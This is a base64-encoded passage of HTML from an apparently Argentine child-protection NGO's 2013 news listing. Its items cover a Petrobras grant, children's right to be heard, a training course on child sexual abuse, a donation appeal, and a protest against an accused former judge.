hIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgI